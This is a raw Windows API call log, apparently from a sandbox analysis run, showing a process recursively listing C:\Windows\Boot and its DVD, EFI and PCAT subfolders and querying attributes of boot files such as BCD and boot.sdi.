	[0086.321] FindFirstFileW (in: lpFileName="C:\\Windows\\Boot\\*", lpFindFileData=0x127ef9e0 | out: lpFindFileData=0x127ef9e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfde52538, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0086.321] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127efa00 | out: lpFindFileData=0x127efa00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfde52538, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0086.321] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127efa00 | out: lpFindFileData=0x127efa00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DVD", cAlternateFileName="")) returned 1
	[0086.321] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127efa00 | out: lpFindFileData=0x127efa00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfde52538, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4e43c9e1, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x4e43c9e1, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EFI", cAlternateFileName="")) returned 1
	[0086.322] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127efa00 | out: lpFindFileData=0x127efa00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe1982f4, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe1be44e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe1be44e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Fonts", cAlternateFileName="")) returned 1
	[0086.322] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127efa00 | out: lpFindFileData=0x127efa00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe1982f4, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4e4fb0c2, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x4e4fb0c2, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PCAT", cAlternateFileName="")) returned 1
	[0086.322] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127efa00 | out: lpFindFileData=0x127efa00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0086.322] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0086.322] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Boot\\DVD" (normalized: "c:\\windows\\boot\\dvd"), fInfoLevelId=0x0, lpFileInformation=0x127e3048 | out: lpFileInformation=0x127e3048*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0086.322] CreateFileW (lpFileName="C:\\Windows\\Boot\\DVD" (normalized: "c:\\windows\\boot\\dvd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0086.322] FindFirstFileW (in: lpFileName="C:\\Windows\\Boot\\DVD\\*", lpFindFileData=0x127ef97c | out: lpFindFileData=0x127ef97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0086.322] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0086.322] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x810320ce, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x810320ce, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EFI", cAlternateFileName="")) returned 1
	[0086.322] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1e9f4a12, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9f4a12, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PCAT", cAlternateFileName="")) returned 1
	[0086.322] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0086.322] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0086.322] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Boot\\DVD\\EFI" (normalized: "c:\\windows\\boot\\dvd\\efi"), fInfoLevelId=0x0, lpFileInformation=0x127e3138 | out: lpFileInformation=0x127e3138*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x810320ce, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x810320ce, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0086.322] CreateFileW (lpFileName="C:\\Windows\\Boot\\DVD\\EFI" (normalized: "c:\\windows\\boot\\dvd\\efi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0086.323] FindFirstFileW (in: lpFileName="C:\\Windows\\Boot\\DVD\\EFI\\*", lpFindFileData=0x127ef918 | out: lpFindFileData=0x127ef918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x810320ce, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x810320ce, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0086.323] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x810320ce, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x810320ce, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0086.323] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x704165e3, ftCreationTime.dwHighDateTime=0x1c9ea0a, ftLastAccessTime.dwLowDateTime=0x704165e3, ftLastAccessTime.dwHighDateTime=0x1c9ea0a, ftLastWriteTime.dwLowDateTime=0x7043c741, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x40000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD", cAlternateFileName="")) returned 1
	[0086.323] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x909c029a, ftCreationTime.dwHighDateTime=0x1ca03fe, ftLastAccessTime.dwLowDateTime=0x909c029a, ftLastAccessTime.dwHighDateTime=0x1ca03fe, ftLastWriteTime.dwLowDateTime=0x4185decd, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x306000, dwReserved0=0x0, dwReserved1=0x0, cFileName="boot.sdi", cAlternateFileName="")) returned 1
	[0086.323] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8fb01be9, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x8fb01be9, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1
	[0086.323] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0086.323] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0086.323] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Boot\\DVD\\EFI\\BCD" (normalized: "c:\\windows\\boot\\dvd\\efi\\bcd"), fInfoLevelId=0x0, lpFileInformation=0x127e3278 | out: lpFileInformation=0x127e3278*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x704165e3, ftCreationTime.dwHighDateTime=0x1c9ea0a, ftLastAccessTime.dwLowDateTime=0x704165e3, ftLastAccessTime.dwHighDateTime=0x1c9ea0a, ftLastWriteTime.dwLowDateTime=0x7043c741, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x40000)) returned 1
	[0086.332] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Boot\\DVD\\EFI\\boot.sdi" (normalized: "c:\\windows\\boot\\dvd\\efi\\boot.sdi"), fInfoLevelId=0x0, lpFileInformation=0x127e32c8 | out: lpFileInformation=0x127e32c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x909c029a, ftCreationTime.dwHighDateTime=0x1ca03fe, ftLastAccessTime.dwLowDateTime=0x909c029a, ftLastAccessTime.dwHighDateTime=0x1ca03fe, ftLastWriteTime.dwLowDateTime=0x4185decd, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x306000)) returned 1
	[0086.332] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Boot\\DVD\\EFI\\en-US" (normalized: "c:\\windows\\boot\\dvd\\efi\\en-us"), fInfoLevelId=0x0, lpFileInformation=0x127e3318 | out: lpFileInformation=0x127e3318*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8fb01be9, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x8fb01be9, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0086.332] CreateFileW (lpFileName="C:\\Windows\\Boot\\DVD\\EFI\\en-US" (normalized: "c:\\windows\\boot\\dvd\\efi\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0086.333] FindFirstFileW (in: lpFileName="C:\\Windows\\Boot\\DVD\\EFI\\en-US\\*", lpFindFileData=0x127ef8b4 | out: lpFindFileData=0x127ef8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8fb01be9, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x8fb01be9, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0086.333] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127ef8d4 | out: lpFindFileData=0x127ef8d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8fb01be9, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x8fb01be9, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0086.333] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127ef8d4 | out: lpFindFileData=0x127ef8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb6782988, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb6782988, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb67a8ae8, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x168000, dwReserved0=0x0, dwReserved1=0x0, cFileName="efisys.bin", cAlternateFileName="")) returned 1
	[0086.333] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127ef8d4 | out: lpFindFileData=0x127ef8d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0086.333] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0086.333] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Boot\\DVD\\EFI\\en-US\\efisys.bin" (normalized: "c:\\windows\\boot\\dvd\\efi\\en-us\\efisys.bin"), fInfoLevelId=0x0, lpFileInformation=0x127e33b8 | out: lpFileInformation=0x127e33b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb6782988, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb6782988, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb67a8ae8, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x168000)) returned 1
	[0086.334] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Boot\\DVD\\PCAT" (normalized: "c:\\windows\\boot\\dvd\\pcat"), fInfoLevelId=0x0, lpFileInformation=0x127e3408 | out: lpFileInformation=0x127e3408*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1e9f4a12, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9f4a12, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0086.334] CreateFileW (lpFileName="C:\\Windows\\Boot\\DVD\\PCAT" (normalized: "c:\\windows\\boot\\dvd\\pcat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0086.334] FindFirstFileW (in: lpFileName="C:\\Windows\\Boot\\DVD\\PCAT\\*", lpFindFileData=0x127ef918 | out: lpFindFileData=0x127ef918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1e9f4a12, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9f4a12, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0086.334] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1e9f4a12, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9f4a12, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0086.334] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7046289f, ftCreationTime.dwHighDateTime=0x1c9ea0a, ftLastAccessTime.dwLowDateTime=0x7046289f, ftLastAccessTime.dwHighDateTime=0x1c9ea0a, ftLastWriteTime.dwLowDateTime=0x704889fd, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x40000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD", cAlternateFileName="")) returned 1
	[0086.334] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x909c029a, ftCreationTime.dwHighDateTime=0x1ca03fe, ftLastAccessTime.dwLowDateTime=0x909c029a, ftLastAccessTime.dwHighDateTime=0x1ca03fe, ftLastWriteTime.dwLowDateTime=0x4185decd, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x306000, dwReserved0=0x0, dwReserved1=0x0, cFileName="boot.sdi", cAlternateFileName="")) returned 1
	[0086.334] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e9f4a12, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1e9f4a12, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9f4a12, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1
	[0086.334] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x65f9d8bc, ftCreationTime.dwHighDateTime=0x1c9ea10, ftLastAccessTime.dwLowDateTime=0x65f9d8bc, ftLastAccessTime.dwHighDateTime=0x1c9ea10, ftLastWriteTime.dwLowDateTime=0x65f9d8bc, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="etfsboot.com", cAlternateFileName="")) returned 1
	[0086.334] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0086.334] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0086.334] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Boot\\DVD\\PCAT\\BCD" (normalized: "c:\\windows\\boot\\dvd\\pcat\\bcd"), fInfoLevelId=0x0, lpFileInformation=0x127e3598 | out: lpFileInformation=0x127e3598*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7046289f, ftCreationTime.dwHighDateTime=0x1c9ea0a, ftLastAccessTime.dwLowDateTime=0x7046289f, ftLastAccessTime.dwHighDateTime=0x1c9ea0a, ftLastWriteTime.dwLowDateTime=0x704889fd, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x40000)) returned 1
	[0086.334] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Boot\\DVD\\PCAT\\boot.sdi" (normalized: "c:\\windows\\boot\\dvd\\pcat\\boot.sdi"), fInfoLevelId=0x0, lpFileInformation=0x127e35e8 | out: lpFileInformation=0x127e35e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x909c029a, ftCreationTime.dwHighDateTime=0x1ca03fe, ftLastAccessTime.dwLowDateTime=0x909c029a, ftLastAccessTime.dwHighDateTime=0x1ca03fe, ftLastWriteTime.dwLowDateTime=0x4185decd, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x306000)) returned 1
	[0086.334] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Boot\\DVD\\PCAT\\en-US" (normalized: "c:\\windows\\boot\\dvd\\pcat\\en-us"), fInfoLevelId=0x0, lpFileInformation=0x127e3638 | out: lpFileInformation=0x127e3638*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e9f4a12, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1e9f4a12, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9f4a12, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0086.335] CreateFileW (lpFileName="C:\\Windows\\Boot\\DVD\\PCAT\\en-US" (normalized: "c:\\windows\\boot\\dvd\\pcat\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0086.335] FindFirstFileW (in: lpFileName="C:\\Windows\\Boot\\DVD\\PCAT\\en-US\\*", lpFindFileData=0x127ef8b4 | out: lpFindFileData=0x127ef8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e9f4a12, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1e9f4a12, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9f4a12, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0086.335] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127ef8d4 | out: lpFindFileData=0x127ef8d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e9f4a12, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1e9f4a12, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9f4a12, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0086.335] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127ef8d4 | out: lpFindFileData=0x127ef8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1189db76, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1aa70238, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1189db76, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x400, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootfix.bin", cAlternateFileName="")) returned 1
	[0086.335] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127ef8d4 | out: lpFindFileData=0x127ef8d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0086.335] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
